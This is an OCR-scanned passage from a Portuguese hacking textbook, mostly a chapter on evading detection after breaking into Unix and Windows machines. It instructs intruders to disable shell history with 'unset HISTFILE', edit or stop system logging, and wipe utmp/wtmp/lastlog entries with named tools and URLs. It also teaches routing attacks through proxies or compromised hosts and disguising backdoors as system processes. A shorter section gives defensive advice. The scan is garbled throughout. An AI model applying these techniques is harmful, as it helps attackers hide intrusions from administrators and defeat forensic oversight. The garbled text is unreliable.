Enveredamos em terreno pantanoso por aqui. Todas as recomendaes acima so importantes e obrigatrias, mas no freiam, de forma alguma, especialistas de verdade que queiram penetrar em seus sistemas. No h nenhum programa comercial que desempenhe ou faciliteas fimes abaixo. A maioria, entretanto, possvel de fazer apenas com as prprias configuraes de sistema operadonal, sem ferramentas externas. Observe que so medidas extremas e

13341
Ataque, defesae contra-ataque: Manuteno [

Universidade 3 ano

que podem ser vistas como parania ou mesmo bobagem por administradores experientes. MasPOdem ser levadasa cabo caso se precise de segurana mxima. Em primeiro lugar, deve-se aplicar toda a cartilha e fazer a configurao de segurana normal que todo sistema deve ter. Isso pr-requisito. Depois, deve-se restringir o acesso pilha TCP/lP (em cada mquina da rede!). Apenas programas autorizados podem ter acesso pilha, e mesmo os autorizados devem ser verificados quanto sua assinatura MD5. Qualquer desvio deve ser bloqueado e informado ao administrador. No caso de servidores, cada um dos programas deve ser executado com um usurio diferente, e cada usurio desses deve ter acesso a um conjunto diferente de diretrios, arquivos, bibliotecas, num ambiente que, em Unix, chama-se chrooted. Mesmo o diretrio temporrio (jtmp ou C\WINDOWS\TEMP)deve ser dividido por processo (jtmp/apache, /tmp/sendmail, /tmp/popd, /tmp/tripwire, etc.) e com
.

permisses de escrita somente para o usurio correspondente.

Dessa forma, mes-

mo que uma falha seja descoberta e explorada em um dos aplicativos, ele estar confmado em seu ambiente prprio e no dar acesso a outras partes do sistema. Depois, bloqueia-se o acesso a todas as bibliotecas e cria-se imagens separadas delas para aplicativo - e restritas! Por exemplo, em uma mquina WinNT pode-se bloquear completamente todas as DLLs do sistema e depois criar imagens com RUNASpara cada usurio (que, como vimos, representa um nico programa). Por ltimo, uma idia montar todas as LANsinternas como VPNs criptografadas por PGP (ou outro formato qualquer). Alm de bloquear trfego vindo de fora (porque no bate com a criptografia e as chaves usadas), possvel conceber polticas de acesso fortemente protegidas. Apenas usurios e mquinas com a chave correta podem acessar determinados recursos - dificlimocontornar tal esquema. Apenas os servidores externos (como seu servidorWeb) ficaro fora da VPN e aceitaro conexes TCP/lP no criptografadas. E, novamente, relembramos: a famlia Win9x no foi desenvolvida para ser cliente de rede. A pilha TCP/lP e toda a funcionalidade 5MB foi enxertada depois. Portanto, nunca espere confiabilidade e segurana delas. Em uma rede corporativa segura, nem as estaes podem ser Windows 95/98/Me. Evite-as. Se for realmente preciso usar Windows como estao de trabalho ou servidor, use sempre Windows 2000 ou superior.

Estamos quase l...


J vimos como observar, traar nosso plano, atacar e manter o ataque. Faltanos, agora, esconder nossos rastros. O proximo captulo tratar disso. Mas antes de continuar, uma pergunta: voc est realmente fazendo as experincias ou simplesmente lendo o livro como a um romance? Exortamo-Io firmemente a fazer todas as experincias, desde os primeiros captulos. Caso no as tenha feito, volte ao princpio e comece de novo.
':4.lio j sabemos de cor. S nos resta aprender...", Beto Guedes e Ronaldo Bastos.

1335 I

IAtaque,

defesa e contra-ataque:

Manuteno

Ataque, defesa e contra-ataque:

Evaso

Em dia de vitria, ningum

fica cansado"

Provrbio rabe

I Universidade

H4CK3R I

No importa se o objetivo do ataque seja causar rebulio ou obter secretamente algum proveito: qualquer atacante que se preze no deseja ser rastreado e muito menos apanhado. Alguns detalhes devem ser observados para que, depois de uma invaso do tipo "obra de arte", a determinao do culpado seja impossvel ou muito difcil. No captulo anterior, quando falamos em rootkits, vimos que eles podem esconder um sem-nmero de detalhes e, assim, mascarar a presena e a ao do hacker no computador atacado. Entretanto, seguro, morreu de velho e, com ou sem rootkits, altamente desejvel que o invasor tome providncias para apagar todos os rastros e vestgios de sua passagem pelo sistema. Em vrias plataformas h ferramentas que o fazem automaticamente, mas entender os mecanismos de registro muito importante para conferir a eficcia dessas mesmas ferramentas ou para fazer tudo "na mo", na falta delas. Outro detalhe para o qual o invasor deve estar atento a camuflagem dos canais de comuicao entre ele e a mquina invadida. Como vimos no captulo anterior, h maneiras de tornar invisvel o fluxo de dados de um backdoor ou cavalo de tria, simplesmente escondendo os bytes sendo transmitidos/recebidos em conexes vlidas. Neste captulo, veremos mais algumas maneiras de fazer essas conexes invisveis. Antes de falarmos em evaso, lembre-se de que o disfarce anterior ao ataque importante. Se voc pretende invadir algum, lembre-se de usar algum tipo de spoofmg antes, como, por exemplo, cadeias de proxies pblicos ou mquinas-Iaranja rodando redirecionadores Netcat. Usar seu prprio IP para mirar em algum burrice.

o bsico: apagando os logs


Mesmo kiddies muito ruins sabem que devem apagar seus rastros nos registros do sistema. A primeira coisa que se tem de saber , ento, onde esto tais registros. Uma vez com acesso a eles, deve-se ter sempre em mente que no se pode apag-Ios todos, caso contrrio sero levantadas muitas suspeitas sobre o sistema. Apague apenas o que houver sido causado pelas suas andanas em terreno alheio. E cuidado: alguns sistemas possuem IDSs, outros verificadores de integridade de arquivos, e alguns, ainda, possuem logs em locais no-padro, deixando logs falsos no local padro para enganar invasores de meia-tigela. Lembre-se: verifique linha por linha, um arquivo por vez, todos os arquivos de logo Procure por cpias deles em locais no bvios do sistema e, se notar que est em um honeypotl, fuja!
1. Como vimos em captulos anteriores, honeypots so sistemas intencionalmente deixados como "boi de piranha" para que os wannabe hackers ataquem. Normalmente, so sistemas fracamente protegidos, com falhas intencionais e sistemas silenciosos de deteco de intrusos. Muitos IDSs inclusive desviam silenciosamente o intruso para os honeypots sem que eles percebam. Alm da marcao cerrada, quando a presa aparentemente fcil, o invasor torna-se descuidado.

13381
Ataque, defesae contra-ataque: Evaso I

Universidade

3a ano

Registro de eventos Unix


Encaremos os fatos: mesmo tendo padres, protocolos e normas em comum, os Unices so diferentes entre si. Cada sabor possui um tipo distinto de sistema de arquivos, hierarquia de diretrios, codificao de caracteres, sintaxe do shell nativo, conjunto de comandos padro... H inclusive comandos que, mesmo possuindo o mesmo nome em todas as variedades, fabricantes e verses Unix, possuem sintaxe diferente - ps, route e, mesmo, o 1s so dois exemplos clssicos. O sistema de registro de eventos no seria, portanto, imune a essas diferenas. impossvel listar em um livro como este todos os tipos e particularidades de logs nas diversas verses dos sabores. Utilizaremos, ento, o sistema Linux como modelo para exemplificar uma sesso de "cirurgia" nos logs. Se algum script kiddie estiver lendo este captulo, provavelmente pulou este pargrafo e vai tomar a descrio abaixo como receita universal para apagamento de seus rastros. Nossa inteno, entretanto, outra: mostrar o que voc precisa procurar, no onde, e nem como... A primeira coisa que deve ser verificada o histrico de comandos do usurio. No exatamente um log; antes disso, uma lista de comandos j emitidos que fica disposio do usurio para que no precisem ser digitados novamente. Isso evita trabalho repetitivo para o operador - e, como efeito colateral, d ao administrador uma forma de saber o que o usurio anda fazendo... Nem todos os shells implementam um histrico de comandos, e cada um guarda o histrico em um arquivo e local diferente. Apenas a ttulo de exemplo, um sistema Linux normalmente usa a verso GNU do Boume Shell, o Bash. Esse interpretador de comandos guarda o histrico de tudo o que foi digitado (inclusive sem sucesso) no arquivo /home/usurio/.bash_history. um arquivo de texto puro, portanto, bastaria edit-Io para esconder seus rastros. Uma maneira mais efetiva, entretanto, seria simplesmente desativar a varivel de sistema HISTFILE,que indica onde os comandos devem ser armazenados. Para tanto, basta emitir unset HISTFILE.Pronto! A partir da, nada mais ser registrado (nem o prprio unset!) Esse deveria ser o primeiro comando a ser feito, mas a maioria dos "invasores" esquece... ou no sabe... Em Unices que no usem Bash, uma outra maneira , simplesmente... trocar de shell! possvel (e muito provvel) que o shell padro possua histrico, e os demais no. Portanto, se voc conseguiu uma conta e o shell padro o Boume Shell (prompt $) simplesmente mude-o para o C Shell digitando csh. Se o shell padro justamente o C Shell (prompt %), mude para o Boume Shell, digitando sh.A razo para usar sh e csh que qualquer um dos outros (bash, zsh, ksh) tm rotinas de histrico de comandos completamente implementadas. Para ajudar a desviar suspeitas, um atacante mais ousado poderia desviar os comandos (ou copi-Ios) do seu prprio histrico para o de outro usurio. Mesmo que o sistema esteja sob suspeita, durante um tempo razovel os santos pagaro pelos pecadores.

13391

] Ataque,

defesa e contra-ataque:

Evaso

I Universidade

H4CK3R I

Depois de enganar o histrico do shell, temos de apagar os rastros nos logs do sistema. Na maioria dos Unix, o daemon responsvel pelo registro dos logs de sistema o syslogd. Em qualquer Unix invadido, portanto, interessante pesquisar nos arquivos de configurao do daemon (que, no Linux, fica em /etc/syslog.conf - mas isso varia em outros Unices) e verificar quais os nomes dos arquivos de registro de eventos e onde esto gravados. Como usurio comum (no root) em um Conectiva Linux 9, o arquivo /etc/ syslog.conf mostra:
$ cat /etc/syslog.conf # Log alI kernel messages to the console. # Logging much eIse clutters up the screen. #kern.* /dev/console

# Log anything (except mail) of leveI info or higher. # Don't log private authentication messages! *.info;mail.none;authpriv.none /var/log/messages # The authpriv file has restricted access. authpriv.* # Log alI themail mail.* messages in one place. /var/log/maillog

/var/log/secure

# Everybody gets emergency messages, plus log them on another # machine. * *.emerg # Savemail and news errors of leveI err and higher in a # special file. uucp,news.crit /var/log/spooler # Save boot messages also to boot.log locaI7.*

/var/log/boot.log

Obviamente, cada um dos arquivos indicados no syslogd possui uma funo diferente. Todas as linhas marcadas com um # so consideradas como comentrios e ignoradas. O campo da esquerda define uma srie de regras de registro a serem aplicadas s mensagens. Os campos da direita indicam em quais arquivos os registros tm de ser gravados. Observe que, no syslog.conf acima, o ftltro kem.. est direcionado para /dev/conso1e - ou seja, as mensagens do kemel seriam ecoadas no terminal, caso a linha estivesse descomentada. Como se pode ver, dispositivos tambm podem ser usados para logging, alm dos arquivos comuns.

1340 I
Ataque, defesae contra-ataque: Evaso I

Universidade

3a ano

Pelo que podemos observar do syslog.conf, temos, em /var/log, ~/var/log/messages: registra todas as mensagens de nvel informativo do sistema. ~/var/log/secure: registra acesso a arquivos e processos restritos. ~/var/log/maillog: registra mensagens de e-mail enviadas e recebidas. ~/var/log/spooler: registra erros em trocas de Mail, UUCP e News. ~/var/logiboot.1og: registra eventos e erros durante o boot. Novamente lembrando: essas localizaes so para o Conectiva Linux 9111 Procure no prprio Unix invadido quais as localizaes reais dos arquivos. possvel que o nmero e a funo deles seja diferente: pode haver um arquivo apenas com todos os logs, ou podem haver, por exemplo, um arquivo separado para UUCP e outro para e-mail. Script kiddies normalmente usam ferramentas e scripts de apagamento de logs de um sistema em outro e, em vez de se esconderem, acabam criando mais mensagens de erro nos logs e alertanto o administrador mais cedo do que o esperado. Olhe antes de agir e faa a coisa certa. Uma vez descobertos quais os arquivos responsveis pelo registro de eventos do Unix sob ataque, podemos passar edio deles. Apesar de existirem ferramentas que aplicam criptografia forte nos arquivos de log, a grande maioria dos sistemas ainda usam o bom e velho texto puro para grav-los. O que significa que o hacker pode usa seu editor de textos preferido (emacs, vi, joe, pico...) para edit-Io manualmente. Os autores recomendam sempre editar manualmente os arquivos, evitando que sujeira, erros ou imprecises nos scripts que o fazem automaticamente possam colocar tudo a perder. Ainda no CL9, vamos ao diretrio /var!log e vejamos o que h por l:
$ ls XFree86.
XFree86. apache boot. 10g boot .10g.1 boot.log.2 boot.log.3

o.10g boot.log. 4 dmesg htmlaccess.log o.10g. old cron


cron. 1 cron. 2 cron. 3 cron. 4 cups iptraf kdm .10g lastlog mai110g maillog.l

mai11og. 2
mai 110g. 3

messages. 4 mysql.log mysql.log.l.gz nagios netconf.10g

netconf .10g. 3 samba scrollkeeper.log secure secure. 1 secure.2 secure. 3

secure. 4 spooler

vtund wtmp

mai11og. 4 messages messages.l

spooler.l wtmp. 1 spooler. 2 spoo1er. 3 spoo1er. 4 uucp

messages. 2 netconf. 10g.1 messages. 3 netconf .10g. 2

Observe: alm dos arquivos do syslogd, o diretrio /var!log contm os registros de outros programas e servidores que rodam na mquina, como Apache, Samba, CUPSe o XFree86. Convm verificar os logs de todos eles, uma vez que alguma ao sua (intencional ou no) pode ter deixado marcas em qualquer deles. Ocupemos-nos primeiro dos cinco arquivos do syslogd. Ainda como usurio comum, abra (com seu editor de textos favorito) o arquivo boot.1og. Nele esto os servios sendo executados, os mdulos do kemel carregados e os servidores que so iniciados e finalizados pelo inetd. Note que h outros, chamados boot.1og.1, boot.1og.2, etc, que guardam logs antigos. Agora tente escrever qualquer coisa e salvar o arquivo (sempre como usurio comum). Permisso negada! Os outros arquivos - maillog, messages, secure e spooler - sequer do permisso de leitura a usurios comuns.

1341 I
I

Ataque, defesa e contra-ataque:

Evaso

I Universidade

H4CK3R

Logue-se como root (ou, em um sistema invadido, consiga acesso a root usando buffer overflow ou outra tcnica qualquer) e abra os arquivos. Verifique as sintaxes deles. Maillog registra a atividade de SMIP,IMAPe POP locais (sendmail, postfix, qmail, imapd, pop3d...). Messages muito importante: registra as mensagens entre processos e entre eles e o keme1. Secure, por outro lado, registra mensagens de acesso privilegiado a arquivos e processos. Por sua vez, spooler guarda as mensagens oriundas de programas que usam os servios de spool (mail, uucp, news, etc). Mesmo que voc no tenha mexido com o servidor de SMfP ou POp, prudente verificar tambm os arquivos / var!log/maillog e /var!log/spool e ter certeza de que, inadvertidamente, voc no disparou algum processo que tenha alterado o logo O mesmo vale para qualquer processo ou arquivo, portanto um cuidado geral no log primordial. Voltando ao /etc/syslogd.conf, a linha
# Everybody gets emergency messages, plus log them on another # machine.

*.emerg

indica que quaisquer mensagens de emergncia do sistema sero ecoadas a todos os logs e a todos os usurios. Cuidado com isso: se o sistema detectar coisas estranhas acontecendo, possvel que todos os usurios sejam avisados - portanto, uma boa idia parar o servio syslogd ou reinici-locom essa linha comentada. Consulte as pginas de manual do syslogd e do syslog.conf no Unix afetado para detalhes. Mas, alm do que monitorado pelo syslogd, h outros arquivos de real importncia. Um deles o sistema utmp/wtmp/lastlog. O utmp um subsistema que registra quem est conectado no presente momento. Quando o usurio (ou o administrador) emite um comando who, o comando vai ler em /var/run/utmp as informaes sobre todas as contas em uso, em quais terminais elas esto e, se for uma conexo remota, o W de origem da conexo. Por exemplo, no momento em que estas linhas esto sendo escritas, o comando who informa: henrique pts/O Feb 16 14:42 henrique pts/1 Feb 16 16:07 Entretanto, eu posso dizer ao comando who em qual arquivo olhar. Se eu emitir o comando who /var/run/utmp, o resultado ser o mesmo: who sem argumentos sempre l o arquivo utmp. Mas e se eu pedir para who consultar em /var/log/wtmp? 9 05: 14 (192.168.1.229) Jan henrique pts/3 Jan 9 05: 16 (192.168.1.229) henrique pts/3 Fev 2 11: 50 james pts/O Fev 5 22:16 root tty1 Fev 5 22:17 henrique tty2 Fev 5 22:23 henrique tty3 Fev 5 22:40 root tty4 Fev 5 22:49 root pts/O Fev 5 22:52 root pts/1

13421
Ataque, defesa e contra-ataque: Evaso
I

Universidade

3a ano

o arquivo muito grande, ento mostramos apenas algumas linhas. Observe: No dia nove de janeiro, o usurio Henrique fez duas conexes a esta mquina (que, a ttulo de curiosidade, era a 192.168.1.11) a partir de outra, a 192.168.1.229. No dia dois de fevereiro, o usurio James logou-se localmente na mquina, e no dia cinco o usurio Henrique logou-se como root vrias vezes. O comando last faz um cruzamento de informaes entre os arquivos /var/ log/lastlog e /var/log/wtmp e mostra na tela as informaes detalhadas dos ltimos dias sobre os tempos de login e logout de cada usurio e mesmo de reboot da mquina. O comando lastlog, por outro lado, mostra quando cada um dos usurios do sistema logou-se pela ltima vez. Um usurio desativado que tenha dado login ontem um evento alarmante. Para o administrador de sistemas, usar os comandos last, lastlog e who para verificar o /var/log/wtmp uma medida tanto preventiva como corretiva. Portanto, imperioso para o cracker que quer apagar seus vestgios exclui todas as menes a ele nesses arquivos. Ento nosso intrpido invasor usa o pico (...) para editar, por exemplo, o /var/log/wtmp e tem uma desagradvel surpresa: o arquivo no de texto puro, mas binrio! O mesmo ocorre com /var/run/ utmp e com /var/log/lastlog. Ento, o que fazer? Desespero... Conforme dissemos antes, h ferramentas automticas para limpeza do utmp, wtmp e lastlog. Uma delas (entre muitas) o Hide (www.hoobie.net/security/ exploits/hacking/hide.c). Este pequeno programa apaga as entradas do usurio que o executou no arquivo utmp, caso esteja liberado para escrita para aquele usurio. Obviamente sistemas modernos no cometem essa tolice e deixam o utmp liberado apenas para root, mas uma excelente prova de conceito. O cdigo-fonte do programa, sendo pequeno, fcil de entender. Obviamente a esta altura o leitor j deve saber que ter de compilar o programinha para que ele funcione. Dependendo do sistema, podem ser necessrias algumas alteraes. No Conectiva Linux 9, por exemplo, bastou substituir todas as funes exit( ) por exit(O). Nota-se a que o candidato a hacker deve obrigatoriamente aprender a programar (ou pelo menos, a "se virar") em C e C++. Se voc no quer aprender a programar, bem, jogue este livro fora: voc no quer, defmitivamente, elevar seu nvel tcnico, mas apenas aprender receitinhas de ataque simples. Hackers riem de vocs, enquanto isso. No mesmo site encontramos outra ferramenta muito famosa, desenvolvida pelo no menos famoso hacker Simp1e Nomad, chamada (puxa...) Remove (www.hoobie.net/security/exploits/hacking/remove.c). Com ela, possvel remover quaisquer usurios de qualquer um dos trs arquivos utmp, wtmp e lastlog. Foi desenvolvidaparaAIX,mas pode ser facilmente compilada (como est ou com modificaes simples) em qualquer sabor de Unix, incluindo linux e {Free,Open,Net}BSD. Alm de remover os registros referentes a qualquer usurio (e no apenas ao que executar a ferramenta, como o Hide), o Remove permite que se altere o ltimo usurio que fez login e o local de login (IP,se remoto; tty ou pst, se local).

13431
I

Ataque, defesa e contra-ataque:

Evaso

I Universidade

H4CK3R I

Compile e teste os dois programas em sua mquina de testes. Faa vrias experincias, como aumentar e diminuir o nvel de permisses dos seus utmp, wtmp e lastlog e rodar as duas ferramentas. Note que, num ataque real, o invasor normalmente precisa de um shell root para rodar o Remove, embora no precise, necessariamente, de tantos privilgios para atacar o sistema. Depois de brincar com esses, procure por outros tipos de ferramentas. Nomes muito comuns so Cloak, Cloak2 (ou Cloak-2) Zap e LogWEdit. Muitos rootkits possuem ferramentas (embutidas ou no) para edio desses arquivos. Veja, por exemplo, a documentao do Knark e do Irk5. Mas lembre-se: nunca use a pea redonda no buraco quadrado! Pesquise sobre a ferramenta correta para o Unix que est sendo atacado. Caso nenhuma dessas ferramentas esteja disponvel no momento, alguns truques podem ajud-Io a permanecer escondido por algum tempo. Por exemplo, quando se acessa o sistema por uma conta "hackeada", provavelmente o acesso vai ficar gravado no arquivo lastlog, com o IP de conexo ou o nome de domnio correspondente. Para apagar isso (ao menos no lastlog), uma vez feito o login com sucesso, rode o comando rlogin na mesma conta. Pronto! Agora, o ltimo login desta conta ter sido local, e no arquivo lastlog aparecer "from localhost". Falta enganar o comando who. Uma vez logado no sistema (e depois de enganar o lastlog...), use o comando login e fornea, novamente, o usurio e senha desta conta. Dependendo do Unix (e de quanto ele est atualizado...), isso esconder a origem da conexo, fazendo o comando who pensar que algum est conectado localmente. Para terminar, procure pelos logs especficos dos servidores e aplicativos que rodam no computador invadido. Alm dos logs de sistema, procure pelos do Apache ou do servidor de FTP'Cada sistema e sabor Unix possuem daemons de verses e procedncias diferentes e com um procedimento diverso de logging. No vamos discorrer sobre todas as possibilidades aqui, pois tomaria o espao de vrios livros como este; mas imperativo que o leitor pesquise sobre isso no ambiente invadido. justamente por isso que a observao importante, antes de fazer qualquer coisa. Como tarefa para casa, experimente verificar os logs do Apache e do Squid em sua mquina de testes. Experimente simplesmente conectar-se a ela a partir de outra maquina como um usurio regular (por exemplo, faa uma conexo SSH a ela, use-a como proxy com o Squid ou acesse uma pgina HTML de testes). Depois, siga todos os passos de invaso vistos nos captulos anteriores, desde rodar um nmap contra a mquina at realmente conseguir root por algum mtodo e alterar alguma coisa. Observe atentamente os arquivos de log e veja o que acontece.
ltima dica: www.hoobie.net.

13441
Ataque, defesae contra-ataque: Evaso [

Universidade

3a ano

Registro de eventos no Windows NT /2k/XP


Como vimos no captulo sobre plataformas Windows, todo o funcionamento do Windows baseado em eventos. Portanto, nada mais lgico que seus logs tambm registrem os diversos eventos ocorridos no sistema. Um servio especial chamado EventLog d conta do recado. E os problemas j comeam por ele mesmo: os logs s so criados se as rotinas de auditoria do Windows estiverem ativadas. Como nem todos os administradores o fazem, h a um grande furo de segurana aproveitado por crackers. Os eventos so registrados em duas etapas. Em primeiro lugar, so armazenados em arquivos temporrios chamados APPLICATION.LOG,SYSTEM.LOGe SECURITY.LOG (no Windows XP, esses trs arquivos tornaram dezenas deles em C\ WINDOWS ou C\ WINN1). Depois de algum tempo, tais dados so guardados em trs arquivos de[mitivos: SecEvent.Evt, SysEvent.Evt e AppEvent.Evt, todos guardados em C\WINDOWS\SYSTEM32. So arquivos binrios, assim como o utmp do Unix, e portanto necessitam de aplicativos especficos para serem editados. Cada um deles, respectivamente, registra um conjunto diferente de eventos: segurana (tentativas de login fracassadas ou no, acesso a arquivos no autorizados, etc), funcionamento do sistema (inicializao, terminao e falhas em servios e drivers) e funcionamento de aplicativos (inicializao, terminao e falhas em programas do user space). Da mesma forma como no registro, que pode ser consultado e alterado com o uso do RegEdit, os eventos do sistema podem ser visualizados (mas no alterados) com o Event Viewer. Para acess-Io, dique em IniciarlExecutar e rode o comando eventvwr. A tela apresentada ser parecida com esta: Observe: foramos alguns acessos~d~jad~ i com um usuano nao-pn- i vilegiado e depois anali- i samos os logs em um Wmdows XP .

LogonllogoFF ~ Para alterar os logs, Logonde con'a ~ deve-se usar outras fer~ LogonllogoFF Logonde con'a ~ Logonllogoff ramentas, uma vez que Uso de p,lvllo" # o Event Viewer ape# LogonllogoFf Logonde con'. # nas um visualizador. # Monl'ora,o d" Monl'ora,o d" H algumas disponMonl'ora,o d" # Audl'oda ". # Audl'o,l. c" veis em sites de hackers, mas preciso fazer alguma pesquisa para tal. O site NT Security (ntsecurity.nu) oferece uma ferramenta chamada WinZapper, que permite alterar os logs de servidores Windows NT e 2000.
24/612003 24/612003 24/612003 24/612003 24/612003 24/612003 24/612003 24/612003 24/612003 24/612003 24/612003 241612003

Audlto,las" Audlto,l. s" Audl'oda s" Audl'",la s" Audl'o,l. s" # Audl'",la ". Audlto,lac" Audlto,lac" Audl'o,la c" Audl'",la c" ,fi' Audlto,l. c"

i~ ~ Audlto,las" ~ Audl'o,la s" ~


Audl'o,la
24/612003 24/612003 24/612003

s".

19:39:03 19:39:03 19:39:03

Securl', Securl', Secu,l'y

IIIIID
19:38:55 19:38:55 19:38:55 19:38:50 19:38:50 19:38:50 19:38:50 19:38:50 19:38:50 19:38:45 19:38:45 19:38:45 19:38:45

",_IiIi!ffitI.....-

Logonde con'a LogonllogoFF Logonde con'a Logonde con'a

24/612003

Securl', Securl'y Secu,l'y Secu,lty Securl', Securl'y Securl', Securl', Secu,l', Secu,l', Securl'y 5ecurl', Secu,l'y

1345 I

I Ataque,

defesa e contra-ataque:

Evaso

I Universidade

H4CK3R I

Escondendo suas conexes


J discutimos anterionuente sobre como tornar suas conexes indetectveis. Comeando com os rootldts, que criam um ambiente artificial e "mentem" sobre as comunicaes existentes, passamos por mtodos de embutir as conexes em outras e acabamos por usar tcnicas que penuitem, inclusive, comunicaes sem conexo. Vamos apenas relembrar algumas das tcnicas vistas, reunidas aqui como uma espcie de "reviso". Para comear, existem as tcnicas de Layer-Ovistas no captulo anterior e que usam sniffmg+spoofing para receber comandos na mquina vtima. Adicionalmente, usam o "estofo" e campos inteis nos cabealhos TCP/IP para enviar dados ao hacker a partir do computador invadido. O hacker tem de se posicionar no meio do fluxo de dados para poder "esnifar" os pacotes sem perder nada, uma vez que no so destinados fonualmente a ele. H dois captulos, vimos como usar o Netcat para "empurrar" um shell com uma conexo vinda de dentro para fora. Dessa forma, o administrador, mesmo que verifique a conexo com netstat ou outra ferramenta, ver uma inocente conexo originada de dentro da rede. H ferramentas que vo mais longe e mascaram essa conexo como se fosse uma requisio HTTp,POp, FTP ou mesmo SMTPvinda de dentro. Na mquina do hacker, h um programa que simula o servidor desejado (HTTp'por exemplo) e manda, travestidos de resposta HTTP, os comandos a serem executados na vtima. Usar HTTP realmente eficaz e imoral, pois a porta 80 estar sempre aberta para que usurios internos faam conexes Web. H ainda duas maneiras adicionais (entre muitas outras) que deixamos como trabalho para casa. possvel, em mquinas Unix, "ricochetear" um X-terminal para a mquina do hacker, caso o servidor X esteja rodando e sua porta (normalmente a 6000) esteja aberta e no filtrada. E tambm possvel trocar informaes entre a mquina do hacker e a vtima (seja Windows, Unix, Macintosh, Novell...) usando trfego ICMP.Dica: Lold. A maneira de esconder trfego depende de cada caso. H redes em que a comunicao via ICMP seria impraticvel, pois o firewall bloqueia esse tipo de trfego. Mas importante que o hacker que queira manter um canal seguro de comunicao com os backdoors de suas presas imp1emente algum tipo de camuflagem. Hoje em dia, os administradores no so to despreocupados quanto a trfego suspeito como h quatro ou cinco anos. Uma ltima dica: rode seus backdoors com nomes do sistema, de forma a aparecerem como processos comuns. Por exemplo, no Windows um servidor B02K pode ser renomeado para explorer.exe. No Unix, poderia chamar-se inetd ou lpd.

13461
Ataque, defesae contra-ataque: Evaso [

Universidade 3a ano

Defesa e Contra-ataque
Algumas medidas podem ser tomadas para impedir ou, pelo menos, dificultar o trabalho de camuflagem dos hackers maliciosos.

Apagamento de logs
Em primeiro lugar, certifique-se periodicamente de que a auditoria do sistema esteja realmente rodando, e os logs sendo criados. Em mquinas Unix, verifique o syslogd; no Windows, o EventLog. H hackers que, em vez de editar os logs, desligam a auditoria e deixam registros falsos e que no mudam nunca. Administradores "desligados" e alguns verificadores de integridade de arquivos so enganados com essa tcnica simples e grosseira. Em segundo lugar, verifique se quem tem permisso de escrita ou mesmo leitura dos logs realmente deveria possu-Ia. Apesar de bvio, este cuidado geralmente deixado de lado mesmo por administradores experientes. Utilize a poltica da mxima restrio possvel. Nesse caso, sempre, menos mais. Aplicar criptografia a terceira providncia bvia. Ao contrrio das duas anteriores, normalmente os logs no so criptografados por padro, com ferramentas do prprio sistema. Em vez disso, so necessrios programas de terceiros para a tarefa. Cada sistema operacional possui diversas possibilidades. Contate seu fornecedor para obter mais informaes. Outra maneira muito eficaz (mas no to bvia) de proteger os logs gravlos em mdias apenas de leitura. CD-Rs so especialmente teis nessa hora. possvel que haja problemas de desempenho no acesso a disco, mas os drives mais modernos j possuem velocidade aceitvel para a tarefa. O fato que os hackers no conseguiro alterar o log porque isso no fisicamente possvel. Preparar um servidor especial para armazenar os registros de eventos de todos os outros computadores tambm um artifcio interessante. Isso cria diversas camadas de dificuldade para o invasor chegar at, ou mesmo saber onde esto, os verdadeiros arquivos de registro. Novamente, contate seu fornecedor para conhecer as opes de servidores de logging disponveis para seu sistema operacional. Um ltimo truque, que no bloqueia, mas retarda o invasor mais habilidoso, colocar os logs em locais fora do padro e deixar, nos locais-padro, simulacros. Em se tratando de kiddies, esse expediente simples criar a impresso falsa de que "limparam a barra", quando na verdade continuam sendo monitorados.

Camuflagem de conexoes
Para comear, e em consonncia com o que vimos nos captulos anteriores, o invasor no deve conseguir, de forma alguma, acesso privilegiado ao sistema.

13471

I Ataque,

defesa e contra-ataque:

Evaso

I Universidade

H4CK3R

Root ou administrador, esse acesso deve ser evitado ao mximo. Portanto, aplique as correes do seu fabricante, mantenha senhas difceis, desative servios no usados, bl bl bl... A velha frmula de sempre, que deve ser aplicada a qualquer situao. Conhea o que voc est rodando. Saiba os processos que podem e os que no deveriam aparecer na lista de tarefas, bem como as conexes que deveriam (ou no) estar estabe1ecidas. Verifique-os periodicamente, mais de uma vez por dia em casos de suspeita de ataque e mais de uma vez por hora caso o ataque tenha sido detectado. Uma ltima dica: o Snort consegue detectar canais de comunicao baseados em ICMP.Snort x Loki... jogo interessante.

Uma despedida?2
Bem, chegamos ao fmal de nossos estudos formais. emocionante v-Io formado e diplomado. Mas lembre-se que sua educao sobre hackerismo no termina com o ltimo captulo: veja o que preparamos para voc no CD! Alm disso, faa todas as experincias do livro e visite todos os sites indicados. E tambm teste todas as ferramentas sugeridas. Voc ver que so muito poucas, se comparado ao que h disponvel. V atrs! Aprender a ser "hacker" (ou como quer que voc chame) um processo contnuo. Despedimo-nos aqui (lgrimas nos olhos!) e esperamos que possamos nos encontrar em breve, em outro curso, talvez. Mas mantenha contato com seus velhos professores! Mande-nos suas sugestes, crticas e colaboraes para este livro.Todos esto convidados a participar. Escreva mesmo! Nosso endereo: univh4ck3r@digeratLcom.br. E no esquea de acessar nosso site em www.digerati.com.br/livro Um grande abrao, e at mais. Happy Hacking!

2 digno de nota que este livro chegou at aqui sem citar nenhuma vez A arte da guerra: Sun Tzu . No h publicao moderna que no se aproveite desse venervel exemplo da literatura clssica. Os autores procuraram fugir do lugar-comum, e portanto decidiram (contrariando sugestes disparadas de todos os lados) no incluir nenhum trecho do milenar compndio. Entretanto, o livro muito bom e vale a pena ser lido, de graa e on-line, em www.kimsoft.com/polwar.htm.

3481
Ataque, defesa e contra-ataque: Evaso r

Você também pode gostar